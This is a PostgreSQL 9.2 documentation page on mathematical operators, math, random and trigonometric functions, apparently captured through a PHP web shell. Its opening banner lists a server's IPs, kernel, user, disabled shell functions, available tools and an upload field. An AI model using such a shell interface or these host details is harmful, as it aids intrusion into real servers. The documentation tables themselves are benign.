Server IP : 103.119.228.120 / Your IP : 18.118.137.96 Web Server : Apache System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : nobody ( 99) PHP Version : 5.6.40 Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/postgresql-9.2.24/html/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML ><HEAD ><TITLE >Mathematical Functions and Operators</TITLE ><META NAME="GENERATOR" CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK REV="MADE" HREF="mailto:pgsql-docs@postgresql.org"><LINK REL="HOME" TITLE="PostgreSQL 9.2.24 Documentation" HREF="index.html"><LINK REL="UP" TITLE="Functions and Operators" HREF="functions.html"><LINK REL="PREVIOUS" TITLE="Comparison Operators" HREF="functions-comparison.html"><LINK REL="NEXT" TITLE="String Functions and Operators" HREF="functions-string.html"><LINK REL="STYLESHEET" TYPE="text/css" HREF="stylesheet.css"><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1"><META NAME="creation" CONTENT="2017-11-06T22:43:11"></HEAD ><BODY CLASS="SECT1" ><DIV CLASS="NAVHEADER" ><TABLE SUMMARY="Header navigation table" WIDTH="100%" BORDER="0" CELLPADDING="0" CELLSPACING="0" ><TR ><TH COLSPAN="5" ALIGN="center" VALIGN="bottom" ><A HREF="index.html" >PostgreSQL 9.2.24 Documentation</A ></TH ></TR ><TR ><TD WIDTH="10%" ALIGN="left" VALIGN="top" ><A TITLE="Comparison Operators" HREF="functions-comparison.html" ACCESSKEY="P" >Prev</A ></TD ><TD WIDTH="10%" ALIGN="left" VALIGN="top" ><A HREF="functions.html" ACCESSKEY="U" >Up</A ></TD ><TD WIDTH="60%" ALIGN="center" VALIGN="bottom" >Chapter 9. Functions and Operators</TD ><TD WIDTH="20%" ALIGN="right" VALIGN="top" ><A TITLE="String Functions and Operators" HREF="functions-string.html" ACCESSKEY="N" >Next</A ></TD ></TR ></TABLE ><HR ALIGN="LEFT" WIDTH="100%"></DIV ><DIV CLASS="SECT1" ><H1 CLASS="SECT1" ><A NAME="FUNCTIONS-MATH" >9.3. Mathematical Functions and Operators</A ></H1 ><P > Mathematical operators are provided for many <SPAN CLASS="PRODUCTNAME" >PostgreSQL</SPAN > types. For types without standard mathematical conventions (e.g., date/time types) we describe the actual behavior in subsequent sections. </P ><P > <A HREF="functions-math.html#FUNCTIONS-MATH-OP-TABLE" >Table 9-2</A > shows the available mathematical operators. </P ><DIV CLASS="TABLE" ><A NAME="FUNCTIONS-MATH-OP-TABLE" ></A ><P ><B >Table 9-2. Mathematical Operators</B ></P ><TABLE BORDER="1" CLASS="CALSTABLE" ><COL><COL><COL><COL><THEAD ><TR ><TH >Operator</TH ><TH >Description</TH ><TH >Example</TH ><TH >Result</TH ></TR ></THEAD ><TBODY ><TR ><TD > <TT CLASS="LITERAL" >+</TT > </TD ><TD >addition</TD ><TD ><TT CLASS="LITERAL" >2 + 3</TT ></TD ><TD ><TT CLASS="LITERAL" >5</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >-</TT > </TD ><TD >subtraction</TD ><TD ><TT CLASS="LITERAL" >2 - 3</TT ></TD ><TD ><TT CLASS="LITERAL" >-1</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >*</TT > </TD ><TD >multiplication</TD ><TD ><TT CLASS="LITERAL" >2 * 3</TT ></TD ><TD ><TT CLASS="LITERAL" >6</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >/</TT > </TD ><TD >division (integer division truncates the result)</TD ><TD ><TT CLASS="LITERAL" >4 / 2</TT ></TD ><TD ><TT CLASS="LITERAL" >2</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >%</TT > </TD ><TD >modulo (remainder)</TD ><TD ><TT CLASS="LITERAL" >5 % 4</TT ></TD ><TD ><TT CLASS="LITERAL" >1</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >^</TT > </TD ><TD >exponentiation (associates left to right)</TD ><TD ><TT CLASS="LITERAL" >2.0 ^ 3.0</TT ></TD ><TD ><TT CLASS="LITERAL" >8</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >|/</TT > </TD ><TD >square root</TD ><TD ><TT CLASS="LITERAL" >|/ 25.0</TT ></TD ><TD ><TT CLASS="LITERAL" >5</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >||/</TT > </TD ><TD >cube root</TD ><TD ><TT CLASS="LITERAL" >||/ 27.0</TT ></TD ><TD ><TT CLASS="LITERAL" >3</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >!</TT > </TD ><TD >factorial</TD ><TD ><TT CLASS="LITERAL" >5 !</TT ></TD ><TD ><TT CLASS="LITERAL" >120</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >!!</TT > </TD ><TD >factorial (prefix operator)</TD ><TD ><TT CLASS="LITERAL" >!! 5</TT ></TD ><TD ><TT CLASS="LITERAL" >120</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >@</TT > </TD ><TD >absolute value</TD ><TD ><TT CLASS="LITERAL" >@ -5.0</TT ></TD ><TD ><TT CLASS="LITERAL" >5</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >&</TT > </TD ><TD >bitwise AND</TD ><TD ><TT CLASS="LITERAL" >91 & 15</TT ></TD ><TD ><TT CLASS="LITERAL" >11</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >|</TT > </TD ><TD >bitwise OR</TD ><TD ><TT CLASS="LITERAL" >32 | 3</TT ></TD ><TD ><TT CLASS="LITERAL" >35</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >#</TT > </TD ><TD >bitwise XOR</TD ><TD ><TT CLASS="LITERAL" >17 # 5</TT ></TD ><TD ><TT CLASS="LITERAL" >20</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >~</TT > </TD ><TD >bitwise NOT</TD ><TD ><TT CLASS="LITERAL" >~1</TT ></TD ><TD ><TT CLASS="LITERAL" >-2</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><<</TT > </TD ><TD >bitwise shift left</TD ><TD ><TT CLASS="LITERAL" >1 << 4</TT ></TD ><TD ><TT CLASS="LITERAL" >16</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" >>></TT > </TD ><TD >bitwise shift right</TD ><TD ><TT CLASS="LITERAL" >8 >> 2</TT ></TD ><TD ><TT CLASS="LITERAL" >2</TT ></TD ></TR ></TBODY ></TABLE ></DIV ><P > The bitwise operators work only on integral data types, whereas the others are available for all numeric data types. The bitwise operators are also available for the bit string types <TT CLASS="TYPE" >bit</TT > and <TT CLASS="TYPE" >bit varying</TT >, as shown in <A HREF="functions-bitstring.html#FUNCTIONS-BIT-STRING-OP-TABLE" >Table 9-11</A >. </P ><P > <A HREF="functions-math.html#FUNCTIONS-MATH-FUNC-TABLE" >Table 9-3</A > shows the available mathematical functions. In the table, <TT CLASS="LITERAL" >dp</TT > indicates <TT CLASS="TYPE" >double precision</TT >. Many of these functions are provided in multiple forms with different argument types. Except where noted, any given form of a function returns the same data type as its argument. The functions working with <TT CLASS="TYPE" >double precision</TT > data are mostly implemented on top of the host system's C library; accuracy and behavior in boundary cases can therefore vary depending on the host system. </P ><DIV CLASS="TABLE" ><A NAME="FUNCTIONS-MATH-FUNC-TABLE" ></A ><P ><B >Table 9-3. Mathematical Functions</B ></P ><TABLE BORDER="1" CLASS="CALSTABLE" ><COL><COL><COL><COL><COL><THEAD ><TR ><TH >Function</TH ><TH >Return Type</TH ><TH >Description</TH ><TH >Example</TH ><TH >Result</TH ></TR ></THEAD ><TBODY ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >abs(<TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >absolute value</TD ><TD ><TT CLASS="LITERAL" >abs(-17.4)</TT ></TD ><TD ><TT CLASS="LITERAL" >17.4</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >cbrt(<TT CLASS="TYPE" >dp</TT >)</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >dp</TT ></TD ><TD >cube root</TD ><TD ><TT CLASS="LITERAL" >cbrt(27.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >3</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >ceil(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >nearest integer greater than or equal to argument</TD ><TD ><TT CLASS="LITERAL" >ceil(-42.8)</TT ></TD ><TD ><TT CLASS="LITERAL" >-42</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >ceiling(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >nearest integer greater than or equal to argument (same as <CODE CLASS="FUNCTION" >ceil</CODE >)</TD ><TD ><TT CLASS="LITERAL" >ceiling(-95.3)</TT ></TD ><TD ><TT CLASS="LITERAL" >-95</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >degrees(<TT CLASS="TYPE" >dp</TT >)</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >dp</TT ></TD ><TD >radians to degrees</TD ><TD ><TT CLASS="LITERAL" >degrees(0.5)</TT ></TD ><TD ><TT CLASS="LITERAL" >28.6478897565412</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >div(<TT CLASS="PARAMETER" >y</TT > <TT CLASS="TYPE" >numeric</TT >, <TT CLASS="PARAMETER" >x</TT > <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >numeric</TT ></TD ><TD >integer quotient of <TT CLASS="PARAMETER" >y</TT >/<TT CLASS="PARAMETER" >x</TT ></TD ><TD ><TT CLASS="LITERAL" >div(9,4)</TT ></TD ><TD ><TT CLASS="LITERAL" >2</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >exp(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >exponential</TD ><TD ><TT CLASS="LITERAL" >exp(1.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >2.71828182845905</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >floor(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >nearest integer less than or equal to argument</TD ><TD ><TT CLASS="LITERAL" >floor(-42.8)</TT ></TD ><TD ><TT CLASS="LITERAL" >-43</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >ln(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >natural logarithm</TD ><TD ><TT CLASS="LITERAL" >ln(2.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >0.693147180559945</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >log(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >base 10 logarithm</TD ><TD ><TT CLASS="LITERAL" >log(100.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >2</TT ></TD ></TR ><TR ><TD ><TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >log(<TT CLASS="PARAMETER" >b</TT > <TT CLASS="TYPE" >numeric</TT >, <TT CLASS="PARAMETER" >x</TT > <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT ></TD ><TD ><TT CLASS="TYPE" >numeric</TT ></TD ><TD >logarithm to base <TT CLASS="PARAMETER" >b</TT ></TD ><TD ><TT CLASS="LITERAL" >log(2.0, 64.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >6.0000000000</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >mod(<TT CLASS="PARAMETER" >y</TT >, <TT CLASS="PARAMETER" >x</TT >)</CODE ></TT > </TD ><TD >(same as argument types)</TD ><TD >remainder of <TT CLASS="PARAMETER" >y</TT >/<TT CLASS="PARAMETER" >x</TT ></TD ><TD ><TT CLASS="LITERAL" >mod(9,4)</TT ></TD ><TD ><TT CLASS="LITERAL" >1</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >pi()</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >dp</TT ></TD ><TD ><SPAN CLASS="QUOTE" >"π"</SPAN > constant</TD ><TD ><TT CLASS="LITERAL" >pi()</TT ></TD ><TD ><TT CLASS="LITERAL" >3.14159265358979</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >power(<TT CLASS="PARAMETER" >a</TT > <TT CLASS="TYPE" >dp</TT >, <TT CLASS="PARAMETER" >b</TT > <TT CLASS="TYPE" >dp</TT >)</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >dp</TT ></TD ><TD ><TT CLASS="PARAMETER" >a</TT > raised to the power of <TT CLASS="PARAMETER" >b</TT ></TD ><TD ><TT CLASS="LITERAL" >power(9.0, 3.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >729</TT ></TD ></TR ><TR ><TD ><TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >power(<TT CLASS="PARAMETER" >a</TT > <TT CLASS="TYPE" >numeric</TT >, <TT CLASS="PARAMETER" >b</TT > <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT ></TD ><TD ><TT CLASS="TYPE" >numeric</TT ></TD ><TD ><TT CLASS="PARAMETER" >a</TT > raised to the power of <TT CLASS="PARAMETER" >b</TT ></TD ><TD ><TT CLASS="LITERAL" >power(9.0, 3.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >729</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >radians(<TT CLASS="TYPE" >dp</TT >)</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >dp</TT ></TD ><TD >degrees to radians</TD ><TD ><TT CLASS="LITERAL" >radians(45.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >0.785398163397448</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >round(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >round to nearest integer</TD ><TD ><TT CLASS="LITERAL" >round(42.4)</TT ></TD ><TD ><TT CLASS="LITERAL" >42</TT ></TD ></TR ><TR ><TD ><TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >round(<TT CLASS="PARAMETER" >v</TT > <TT CLASS="TYPE" >numeric</TT >, <TT CLASS="PARAMETER" >s</TT > <TT CLASS="TYPE" >int</TT >)</CODE ></TT ></TD ><TD ><TT CLASS="TYPE" >numeric</TT ></TD ><TD >round to <TT CLASS="PARAMETER" >s</TT > decimal places</TD ><TD ><TT CLASS="LITERAL" >round(42.4382, 2)</TT ></TD ><TD ><TT CLASS="LITERAL" >42.44</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >sign(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >sign of the argument (-1, 0, +1)</TD ><TD ><TT CLASS="LITERAL" >sign(-8.4)</TT ></TD ><TD ><TT CLASS="LITERAL" >-1</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >sqrt(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >square root</TD ><TD ><TT CLASS="LITERAL" >sqrt(2.0)</TT ></TD ><TD ><TT CLASS="LITERAL" >1.4142135623731</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >trunc(<TT CLASS="TYPE" >dp</TT > or <TT CLASS="TYPE" >numeric</TT >)</CODE ></TT > </TD ><TD >(same as input)</TD ><TD >truncate toward zero</TD ><TD ><TT CLASS="LITERAL" >trunc(42.8)</TT ></TD ><TD ><TT CLASS="LITERAL" >42</TT ></TD ></TR ><TR ><TD ><TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >trunc(<TT CLASS="PARAMETER" >v</TT > <TT CLASS="TYPE" >numeric</TT >, <TT CLASS="PARAMETER" >s</TT > <TT CLASS="TYPE" >int</TT >)</CODE ></TT ></TD ><TD ><TT CLASS="TYPE" >numeric</TT ></TD ><TD >truncate to <TT CLASS="PARAMETER" >s</TT > decimal places</TD ><TD ><TT CLASS="LITERAL" >trunc(42.4382, 2)</TT ></TD ><TD ><TT CLASS="LITERAL" >42.43</TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >width_bucket(<TT CLASS="PARAMETER" >op</TT > <TT CLASS="TYPE" >numeric</TT >, <TT CLASS="PARAMETER" >b1</TT > <TT CLASS="TYPE" >numeric</TT >, <TT CLASS="PARAMETER" >b2</TT > <TT CLASS="TYPE" >numeric</TT >, <TT CLASS="PARAMETER" >count</TT > <TT CLASS="TYPE" >int</TT >)</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >int</TT ></TD ><TD >return the bucket to which <TT CLASS="PARAMETER" >operand</TT > would be assigned in an equidepth histogram with <TT CLASS="PARAMETER" >count</TT > buckets, in the range <TT CLASS="PARAMETER" >b1</TT > to <TT CLASS="PARAMETER" >b2</TT ></TD ><TD ><TT CLASS="LITERAL" >width_bucket(5.35, 0.024, 10.06, 5)</TT ></TD ><TD ><TT CLASS="LITERAL" >3</TT ></TD ></TR ><TR ><TD ><TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >width_bucket(<TT CLASS="PARAMETER" >op</TT > <TT CLASS="TYPE" >dp</TT >, <TT CLASS="PARAMETER" >b1</TT > <TT CLASS="TYPE" >dp</TT >, <TT CLASS="PARAMETER" >b2</TT > <TT CLASS="TYPE" >dp</TT >, <TT CLASS="PARAMETER" >count</TT > <TT CLASS="TYPE" >int</TT >)</CODE ></TT ></TD ><TD ><TT CLASS="TYPE" >int</TT ></TD ><TD >return the bucket to which <TT CLASS="PARAMETER" >operand</TT > would be assigned in an equidepth histogram with <TT CLASS="PARAMETER" >count</TT > buckets, in the range <TT CLASS="PARAMETER" >b1</TT > to <TT CLASS="PARAMETER" >b2</TT ></TD ><TD ><TT CLASS="LITERAL" >width_bucket(5.35, 0.024, 10.06, 5)</TT ></TD ><TD ><TT CLASS="LITERAL" >3</TT ></TD ></TR ></TBODY ></TABLE ></DIV ><P > <A HREF="functions-math.html#FUNCTIONS-MATH-RANDOM-TABLE" >Table 9-4</A > shows functions for generating random numbers. </P ><DIV CLASS="TABLE" ><A NAME="FUNCTIONS-MATH-RANDOM-TABLE" ></A ><P ><B >Table 9-4. Random Functions</B ></P ><TABLE BORDER="1" CLASS="CALSTABLE" ><COL><COL><COL><THEAD ><TR ><TH >Function</TH ><TH >Return Type</TH ><TH >Description</TH ></TR ></THEAD ><TBODY ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >random()</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >dp</TT ></TD ><TD >random value in the range 0.0 <= x < 1.0</TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >setseed(<TT CLASS="TYPE" >dp</TT >)</CODE ></TT > </TD ><TD ><TT CLASS="TYPE" >void</TT ></TD ><TD >set seed for subsequent <TT CLASS="LITERAL" >random()</TT > calls (value between -1.0 and 1.0, inclusive)</TD ></TR ></TBODY ></TABLE ></DIV ><P > The characteristics of the values returned by <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >random()</CODE ></TT > depend on the system implementation. It is not suitable for cryptographic applications; see <A HREF="pgcrypto.html" >pgcrypto</A > module for an alternative. </P ><P > Finally, <A HREF="functions-math.html#FUNCTIONS-MATH-TRIG-TABLE" >Table 9-5</A > shows the available trigonometric functions. All trigonometric functions take arguments and return values of type <TT CLASS="TYPE" >double precision</TT >. Trigonometric functions arguments are expressed in radians. Inverse functions return values are expressed in radians. See unit transformation functions <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >radians()</CODE ></TT > and <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >degrees()</CODE ></TT > above. </P ><DIV CLASS="TABLE" ><A NAME="FUNCTIONS-MATH-TRIG-TABLE" ></A ><P ><B >Table 9-5. Trigonometric Functions</B ></P ><TABLE BORDER="1" CLASS="CALSTABLE" ><COL><COL><THEAD ><TR ><TH >Function</TH ><TH >Description</TH ></TR ></THEAD ><TBODY ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >acos(<TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >inverse cosine</TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >asin(<TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >inverse sine</TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >atan(<TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >inverse tangent</TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >atan2(<TT CLASS="REPLACEABLE" ><I >y</I ></TT >, <TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >inverse tangent of <TT CLASS="LITERAL" ><TT CLASS="REPLACEABLE" ><I >y</I ></TT >/<TT CLASS="REPLACEABLE" ><I >x</I ></TT ></TT ></TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >cos(<TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >cosine</TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >cot(<TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >cotangent</TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >sin(<TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >sine</TD ></TR ><TR ><TD > <TT CLASS="LITERAL" ><CODE CLASS="FUNCTION" >tan(<TT CLASS="REPLACEABLE" ><I >x</I ></TT >)</CODE ></TT > </TD ><TD >tangent</TD ></TR ></TBODY ></TABLE ></DIV ></DIV ><DIV CLASS="NAVFOOTER" ><HR ALIGN="LEFT" WIDTH="100%"><TABLE SUMMARY="Footer navigation table" WIDTH="100%" BORDER="0" CELLPADDING="0" CELLSPACING="0" ><TR ><TD WIDTH="33%" ALIGN="left" VALIGN="top" ><A HREF="functions-comparison.html" ACCESSKEY="P" >Prev</A ></TD ><TD WIDTH="34%" ALIGN="center" VALIGN="top" ><A HREF="index.html" ACCESSKEY="H" >Home</A ></TD ><TD WIDTH="33%" ALIGN="right" VALIGN="top" ><A HREF="functions-string.html" ACCESSKEY="N" >Next</A ></TD ></TR ><TR ><TD WIDTH="33%" ALIGN="left" VALIGN="top" >Comparison Operators</TD ><TD WIDTH="34%" ALIGN="center" VALIGN="top" ><A HREF="functions.html" ACCESSKEY="U" >Up</A ></TD ><TD WIDTH="33%" ALIGN="right" VALIGN="top" >String Functions and Operators</TD ></TR ></TABLE ></DIV ></BODY ></HTML >